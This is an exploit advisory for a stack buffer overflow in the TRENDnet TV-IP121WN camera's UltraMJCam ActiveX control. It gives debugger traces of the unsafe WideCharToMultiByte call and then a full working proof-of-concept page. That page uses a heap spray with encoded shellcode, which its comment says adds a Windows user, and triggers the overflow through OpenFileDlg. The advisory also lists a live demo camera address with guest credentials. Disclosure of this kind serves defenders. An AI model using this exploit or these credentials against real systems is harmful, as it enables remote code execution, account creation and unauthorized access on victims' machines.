TRENDnet SecurView TV-IP121WN Wireless Internet Camera UltraMJCam ActiveX
Control OpenFileDlg WideCharToMultiByte Remote Stack Buffer Overflow

camera demo
http://67.203.184.58:9193/admin/view.cgi?profile=0
username=guest
password=guest


Background:
The mentioned product, when browsing the device web interface,
asks to install an ActiveX control to stream video content.
It has the following settings:

File version: 1, 1, 52, 18
Product name: UltraMJCam device ActiveX Control
Binary path: C:\WINDOWS\Downloaded Program Files\UltraMJCamX.ocx
ProgID: UltraMJCam.UltraMJCam.1
CLSID: {707ABFC2-1D27-4a10-A6E4-6BE6BDF9FB11}
Implements IObjectSafety: yes
Safe for Scripting (IObjectSafety): True
Safe for Initialization (IObjectSafety): True


Vulnerability:
This ActiveX control exposed the vulnerable
OpenFileDlg() method, see typelib:

...
/* DISPID=101 */
/* VT_BSTR [8] */
function OpenFileDlg(
        /* VT_BSTR [8] [in] */ $sFilter
        )
{
        /* method OpenFileDlg */
}
...

By invoking this method with an overlong argument is possible
to overflow a buffer. This is because of an insecure 
WideCharToMultiByte() call inside UltraMJCamX.ocx:


Call stack of main thread
Address    Stack      Procedure / arguments                                                                                                                   Called from                   Frame
001279FC   77E6F20B   kernel32.77E637DE                                                                                                                       kernel32.77E6F206             00127A0C
00127A10   0299F958   kernel32.WideCharToMultiByte                                                                                                            UltraMJC.0299F952             00127A0C
00127A14   00000003     CodePage = 3
00127A18   00000000     Options = 0
00127A1C   03835C5C     WideCharStr = "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
00127A20   FFFFFFFF     WideCharCount = FFFFFFFF (-1.)
00127A24   00127A50     MultiByteStr = 00127A50
00127A28   00007532     MultiByteCount = 7532 (30002.)
00127A2C   00000000     pDefaultChar = NULL
00127A30   00000000     pDefaultCharUsed = NULL
00127A3C   029B11D0   UltraMJC.0299F920                                                                                                                       UltraMJC.029B11CB             00127A38


...
0299F934   8B45 08          mov eax,dword ptr ss:[ebp+8]
0299F937   C600 00          mov byte ptr ds:[eax],0
0299F93A   6A 00            push 0
0299F93C   6A 00            push 0
0299F93E   8B4D 10          mov ecx,dword ptr ss:[ebp+10]
0299F941   51               push ecx
0299F942   8B55 08          mov edx,dword ptr ss:[ebp+8]
0299F945   52               push edx
0299F946   6A FF            push -1
0299F948   8B45 0C          mov eax,dword ptr ss:[ebp+C]
0299F94B   50               push eax
0299F94C   6A 00            push 0
0299F94E   8B4D 14          mov ecx,dword ptr ss:[ebp+14]
0299F951   51               push ecx
0299F952   FF15 20319F02    call dword ptr ds:[<&KERNEL32.WideCharTo>; kernel32.WideCharToMultiByte <------------
...

The result is that critical structures are overwritten (SEH)
allowing to execute arbitrary code against the target browser.
 
As attachment, basic proof of concept code.



<!--
TRENDnet SecurView TV-IP121WN Wireless Internet Camera UltraMJCam ActiveX
Control OpenFileDlg() WideCharToMultiByte Remote Buffer Overflow poc
IE7-nodep

camera demo
http://67.203.184.58:9193/admin/view.cgi?profile=0
username=guest
password=guest

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<html>
<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj' />
</object>
<script language='javascript'>
//add user one, user "sun" pass "tzu"
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
"%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
"%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
"%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
"%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
"%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
"%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
"%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
"%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
"%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
"%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
"%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
"%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
"%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
"%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
"%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
"%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
"%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
"%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
"%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
"%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
"%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
"%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
"%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
"%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
"%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
"%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
"%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
"%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
"%u7734%u4734%u4570");
bigblock = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<1888;i++){memory[i] = block+shellcode}
</script>
<script defer=defer>
var x ="";
for (i=0; i<15000; i++){
 x = x + "&";
}
obj.OpenFileDlg(x);
</script>